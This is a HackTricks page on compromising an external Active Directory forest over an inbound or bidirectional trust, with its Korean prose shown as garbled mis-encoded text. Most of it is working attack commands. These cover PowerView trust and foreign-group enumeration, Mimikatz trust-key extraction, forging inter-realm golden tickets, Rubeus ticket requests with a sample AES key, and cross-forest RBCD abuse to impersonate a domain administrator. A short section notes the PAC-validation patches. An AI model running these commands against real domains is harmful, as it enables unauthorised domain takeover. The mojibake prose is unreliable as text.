์ธ๋ถ ํฌ๋ฆฌ์คํธ ๋๋ฉ์ธ - OneWay (Inbound) ๋๋ ์๋ฐฉํฅ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ์๋๋ฆฌ์ค์์๋ ์ธ๋ถ ๋๋ฉ์ธ์ด ๋น์ ์ ์ ๋ขฐ(๋๋ ์์ชฝ์ด ์๋ก๋ฅผ ์ ๋ขฐ)ํ๊ณ ์์ด, ํด๋น ๋๋ฉ์ธ์ ๋ํด ์ด๋ค ํํ์ ์ ๊ทผ์ ์ป์ ์ ์์ต๋๋ค.
์ด๊ฑฐ
๋ฌด์๋ณด๋ค ๋จผ์ , **trust(์ ๋ขฐ)**๋ฅผ ์ด๊ฑฐ(enumerate) ํด์ผ ํฉ๋๋ค:
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external
# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins
# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser
# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName : Administrators
MemberName : SUB\External Admins
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup : True
IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
# Additional trust hygiene checks (AD RSAT / AD module)
Get-ADTrust -Identity domain.external -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive
SelectiveAuthentication/SIDFiltering*์(๋ฅผ) ํตํด cross-forest abuse paths (RBCD, SIDHistory)๊ฐ ์ถ๊ฐ ์ ์ ์กฐ๊ฑด ์์ด ์๋ํ ๊ฐ๋ฅ์ฑ์ด ์๋์ง ๋น ๋ฅด๊ฒ ํ์ธํ ์ ์์ต๋๋ค.
์ด์ enumeration์์ ์ฌ์ฉ์ **crossuser**๊ฐ External Admins ๊ทธ๋ฃน์ ์ํด ์์ผ๋ฉฐ, ํด๋น ๊ทธ๋ฃน์ด ์ธ๋ถ ๋๋ฉ์ธ์ DC ๋ด๋ถ์์ Admin access ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
์ด๊ธฐ ์ ๊ทผ
๋ง์ฝ ๋ค๋ฅธ ๋๋ฉ์ธ์์ ์ฌ์ฉ์์๊ฒ ์ด๋ค ํน๋ณํ ์ก์ธ์ค๋ ์ฐพ์ง ๋ชปํ๋ค๋ฉด, AD Methodology๋ก ๋์๊ฐ privesc from an unprivileged user(์: kerberoasting ๋ฑ)์ ์๋ํด ๋ณผ ์ ์์ต๋๋ค:
๋ค์๊ณผ ๊ฐ์ด -Domain ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํ์ฌ Powerview functions๋ก ๋ค๋ฅธ ๋๋ฉ์ธ์ enumerateํ ์ ์์ต๋๋ค:
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
์ฌ์นญ
๋ก๊ทธ์ธ
์ธ๋ถ ๋๋ฉ์ธ์ ์ ๊ทผ ๊ถํ์ด ์๋ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํด ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ๋ค์์ ์ ๊ทผํ ์ ์์ด์ผ ํฉ๋๋ค:
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
SID History ์ ์ฉ
๋ํ SID History๋ฅผ ํฌ๋ฆฌ์คํธ ํธ๋ฌ์คํธ ์ ๋ฐ์์ ์ ์ฉํ ์ ์์ต๋๋ค.
์ฌ์ฉ์๊ฐ ํ ํฌ๋ฆฌ์คํธ์์ ๋ค๋ฅธ ํฌ๋ฆฌ์คํธ๋ก ๋ง์ด๊ทธ๋ ์ด์ ๋๊ณ SID Filtering์ด ํ์ฑํ๋์ด ์์ง ์๋ค๋ฉด, ๋ค๋ฅธ ํฌ๋ฆฌ์คํธ์ SID๋ฅผ ์ถ๊ฐํ ์ ์๊ฒ ๋๋ฉฐ, ์ด SID๋ ํธ๋ฌ์คํธ๋ฅผ ํตํด ์ธ์ฆํ ๋ ์ฌ์ฉ์์ ํ ํฐ์ ์ถ๊ฐ๋ฉ๋๋ค.
Warning
์ฐธ๊ณ ๋ก, ์๋ช ํค๋ ๋ค์์ผ๋ก ์ป์ ์ ์์ต๋๋ค
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
ํ์ฌ ๋๋ฉ์ธ์ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ๋ TGT์ ๋ํด trusted ํค๋ก ์๋ช ํ ์ ์์ต๋๋ค.
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
์ฌ์ฉ์๋ฅผ ์์ ํ ๊ฐ์ฅํ๋ ๋ฐฉ๋ฒ
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
์ ๋ขฐ ํฌ๋ฆฌ์คํธ์์ ์ปดํจํฐ ๊ณ์ ์ ์ ์ดํ ๋์ Cross-forest RBCD (no SID filtering / selective auth)
๋ง์ฝ ์ธ๋ถ ํ๋ฆฐ์ํ(FSP)์ด ์ ๋ขฐ ํฌ๋ฆฌ์คํธ์์ ์ปดํจํฐ ๊ฐ์ฒด๋ฅผ ์ธ ์ ์๋ ๊ทธ๋ฃน(์: Account Operators, custom provisioning group)์ ์ํ๊ฒ ๋๋ฉด, ํด๋น ํฌ๋ฆฌ์คํธ์ ๋์ ํธ์คํธ์ Resource-Based Constrained Delegation์ ๊ตฌ์ฑํ์ฌ ๊ทธ๊ณณ์ ์ด๋ค ์ฌ์ฉ์๋ ๊ฐ์ฅํ ์ ์์ต๋๋ค:
# 1) From the trusted domain, create or compromise a machine account (MYLAB$) you control
# 2) In the trusting forest (domain.external), set msDS-AllowedToAct on the target host for that account
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount MYLAB$
# or with PowerView
Set-DomainObject victim-host$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sidbytes_of_MYLAB}
# 3) Use the inter-forest TGT to perform S4U to victim-host$ and get a CIFS ticket as DA of the trusting forest
Rubeus.exe s4u /ticket:interrealm_tgt.kirbi /impersonate:EXTERNAL\Administrator /target:victim-host.domain.external /protocol:rpc
์ด ๋ฐฉ๋ฒ์ SelectiveAuthentication is disabled ์ํ์ด๊ณ SID filtering์ด ์ ์ดํ๋ SID๋ฅผ ์ ๊ฑฐํ์ง ์์ ๋๋ง ์๋ํฉ๋๋ค. ์ด๋ SIDHistory ์์กฐ๋ฅผ ํผํ๋ ๋น ๋ฅธ ์ํ ์ด๋ ๊ฒฝ๋ก์ด๋ฉฐ, ํธ๋ฌ์คํธ ๊ฒํ ์์ ์ข ์ข ๋์นฉ๋๋ค.
PAC ๊ฒ์ฆ ๊ฐํ
PAC ์๋ช
๊ฒ์ฆ ์
๋ฐ์ดํธ(CVE-2024-26248/CVE-2024-29056)๋ ํฌ๋ฆฌ์คํธ ๊ฐ ํฐ์ผ์ ๋ํ ์๋ช
๊ฐ์ ๋ฅผ ์ถ๊ฐํฉ๋๋ค. Compatibility mode์์๋ ์์กฐ๋ inter-realm PAC/SIDHistory/S4U ๊ฒฝ๋ก๊ฐ ํจ์น๋์ง ์์ DCs์์ ์ฌ์ ํ ๋์ํ ์ ์์ต๋๋ค. Enforcement mode์์๋ ์๋ช
๋์ง ์์๊ฑฐ๋ ๋ณ์กฐ๋ PAC ๋ฐ์ดํฐ๊ฐ ํฌ๋ฆฌ์คํธ ํธ๋ฌ์คํธ๋ฅผ ๋๋๋ค ๊ฒฝ์ฐ ๊ฑฐ๋ถ๋๋ฉฐ, ๋์ ํฌ๋ฆฌ์คํธ ํธ๋ฌ์คํธ ํค๋ฅผ ๋ณด์ ํ ๊ฒฝ์ฐ์๋ง ํ์ฉ๋ฉ๋๋ค. ๋ ์ง์คํธ๋ฆฌ ์ค๋ฒ๋ผ์ด๋(PacSignatureValidationLevel, CrossDomainFilteringLevel)๋ ํด๋น ์ค์ ์ด ์ฌ์ฉ ๊ฐ๋ฅํ ๋์ ์ด๋ฅผ ์ฝํ์ํฌ ์ ์์ต๋๋ค.
References
- Microsoft KB5037754 โ PAC validation changes for CVE-2024-26248 & CVE-2024-29056
- MS-PAC spec โ SID filtering & claims transformation details
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


